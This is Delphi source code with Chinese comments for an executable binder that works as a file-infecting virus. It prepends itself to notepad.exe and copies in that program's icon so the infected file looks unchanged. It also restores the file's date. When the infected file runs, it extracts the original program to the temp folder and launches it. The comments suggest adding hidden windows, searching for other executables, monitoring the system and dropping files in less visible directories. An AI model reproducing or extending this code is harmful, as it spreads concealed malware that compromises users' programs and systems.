{ **********************捆绑执行文件********************** **********************参考selfmodify--exe文件自修改***** 与其它程序捆绑后,图标为其它程序的图标.日期不变 这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存 如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...
程序中几个数字的确定: 1 在本程序编译后用Aspack.Exe压缩,大小为41472 2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节
与其它程序捆绑的过程: 本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部
怎么找到图标的位置: 将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。 十六进制编辑软件:常用UltraEdit。不过我喜欢用自己的东西。 } program exe2;
uses classes, Tlhelp32, windows, graphics, ShellAPI, SysUtils;
{$R *.RES} var lppe:TProcessEntry32; found:boolean; handle:THandle; ProcessStr,ExeName:string; WinDir:pchar; const MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}
procedure copy2(s: string); var s1,s2,IcoStream:TMemoryStream; File2:TFilestream; ch:array[0..1] of char; ss:string; filetime,fhandle:integer; l:integer; File2Icon:Ticon; begin {若文件s不存在} if FileExists(s)=False then exit; try {若文件不含图标,就不捆绑} File2Icon:=Ticon.Create; l:=extracticon(handle,pchar(s),0); if l=0 then begin File2Icon.Free; exit; end else begin {提取被捆绑程序图标} File2Icon.Handle:=extracticon(handle,pchar(s),0); IcoStream:=TMemoryStream.Create; File2Icon.SaveToStream(IcoStream); File2Icon.Free; end; {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} File2:=TFilestream.Create(s,fmopenread); if File2.Size>MySize then begin File2.Position:=MySize; File2.Read(ch,2); ss:=copy(ch,1,2); if ss='MZ' then begin File2.Free; exit; end; end; File2.Free; {将本文件与文件s合并 本文件+s=s} s2:=TMemoryStream.Create; s2.loadfromfile(ExeName); s1:=TMemoryStream.Create; { 加入本程序的前部40751字节 第40752字节开始共640字节为图标数据 !!以下数字 40751,81要根据实际情况修改!! } s1.copyfrom(s2,40751); {将图标换为被捆绑程序图标,图标大小为766} IcoStream.Position:=126; s1.CopyFrom(IcoStream,640); IcoStream.Free; s2.Position:=40751+640; {加入本程序的后部81字节} s1.CopyFrom(s2,81); s2.clear; s2.loadfromfile(s); s1.seek(s1.size,soFromBeginning); {加入被捆绑程序全部} s1.copyfrom(s2,s2.size); s2.free; {得到文件s的日期} fhandle:=FileOpen(s, fmOpenread); filetime:=filegetdate(fhandle); fileclose(fhandle); s1.SaveToFile(s); {恢复文件s的日期} fhandle:=FileOpen(s, fmOpenwrite); filesetdate(fhandle,filetime); fileclose(fhandle); s1.free; except end; end;
procedure CreateFileAndRun; var s1,s2:TMemoryStream; TempDir:pchar; cmdstr:string; a:integer; Begin s1:=TMemoryStream.Create; s1.loadfromfile(ExeName); if s1.Size=MySize then begin s1.Free; exit; end; s1.seek(MySize,soFromBeginning); s2:=TMemoryStream.Create; s2.copyfrom(s1,s1.Size-MySize); GetMem(TempDir,255); GetTempPath(255,TempDir); try { 把文件释放到临时目录。 如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录, 如 c:\windows(or winnt)\downl...(☆这是个什么目录?你去研究研究吧!☆) } s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName)); except end; cmdstr:='; a:=1; while ParamStr(a)<>' do begin cmdstr:=cmdstr+ParamStr(a)+' '; inc(a); end; {运行真正的程序文件} winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); freemem(TempDir); s2.free; s1.free; end;
begin GetMem(WinDir,255); GetWindowsDirectory(WinDir,255); ExeName:=ParamStr(0); handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); found:=Process32First(handle,lppe); ProcessStr:='; while found do begin ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程} found:=Process32Next(handle,lppe); end; {如果notepad没运行,就与它捆在一起} if pos(WinDir+'\notepad.exe',ProcessStr)=0 then begin copy2(WinDir+'\notepad.exe'); end; {其它需要捆绑的文件 if pos(...,ProcessStr)=0 then begin copy2(...); end; ... } freemem(WinDir); { 你想用这个程序干点其它的什么... } CreateFileAndRun;{释放文件并带参数运行} end. |